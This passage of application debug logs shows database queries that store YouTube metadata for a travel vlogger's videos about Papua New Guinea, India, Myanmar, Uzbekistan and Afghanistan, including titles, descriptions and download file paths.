?)) [~U[2026-03-13 17:17:03Z], 3] 20:01:03.276 [debug] QUERY OK source="media_items" db=0.7ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "58b86d78-bdc3-405b-b7da-2952b122386b", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", 11, "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, false, false, 3, [], 98, ~U[2026-03-13 17:17:03Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, 3, ~U[2026-03-13 17:17:03Z]] 20:01:03.277 [debug] QUERY OK source="sources" db=0.1ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.277 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-06 15:05:17Z], 3] 20:01:03.278 [debug] QUERY OK source="media_items" db=0.7ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "7ee25104-1988-4419-9939-dbe811245569", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", 12, "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, false, false, 3, [], 98, ~U[2026-03-06 15:05:17Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, 3, ~U[2026-03-06 15:05:17Z]] 20:01:03.279 [debug] QUERY OK source="sources" db=0.2ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.279 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-27 15:04:44Z], 3] 20:01:03.280 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "6f683bf0-4a14-454c-94a8-491bbcf4eea7", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", 13, "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, false, false, 3, [], 98, ~U[2026-02-27 15:04:44Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, 3, ~U[2026-02-27 15:04:44Z]] 20:01:03.281 [debug] QUERY OK source="sources" db=0.2ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.281 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:53:48Z], 3] 20:01:03.282 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "0c423d0a-eb97-445a-b5f8-f2d6923cc7a7", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", 14, "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, false, false, 3, [], 98, ~U[2026-01-31 14:53:48Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, 3, ~U[2026-01-31 14:53:48Z]] 20:01:03.283 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.283 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 16:12:19Z], 3] 20:01:03.284 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "d0de2fda-336d-4c49-b127-eb6f28b92939", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", 15, "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, false, false, 3, [], 98, ~U[2026-01-22 16:12:19Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, 3, ~U[2026-01-22 16:12:19Z]] 20:01:03.284 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.285 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:34:02Z], 3] 20:01:03.286 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "7337ca71-8cfd-4343-b576-c714ddd99c0d", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", 16, "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, false, false, 3, [], 98, ~U[2025-12-19 16:34:02Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, 3, ~U[2025-12-19 16:34:02Z]] 20:01:03.286 [debug] QUERY OK source="sources" db=0.2ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.287 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:36:44Z], 3] 20:01:03.288 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "093aa75f-a724-4a67-ab8e-4e8f0a608959", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", 17, "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, false, false, 3, [], 98, ~U[2025-12-05 16:36:44Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, 3, ~U[2025-12-05 16:36:44Z]] 20:01:03.288 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.289 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 16:11:38Z], 3] 20:01:03.290 [debug] QUERY OK source="media_items" db=1.0ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "8cfd0c70-9039-4806-8b1a-19f7352d33a1", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 18, "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, false, false, 3, [], 98, ~U[2025-11-21 16:11:38Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 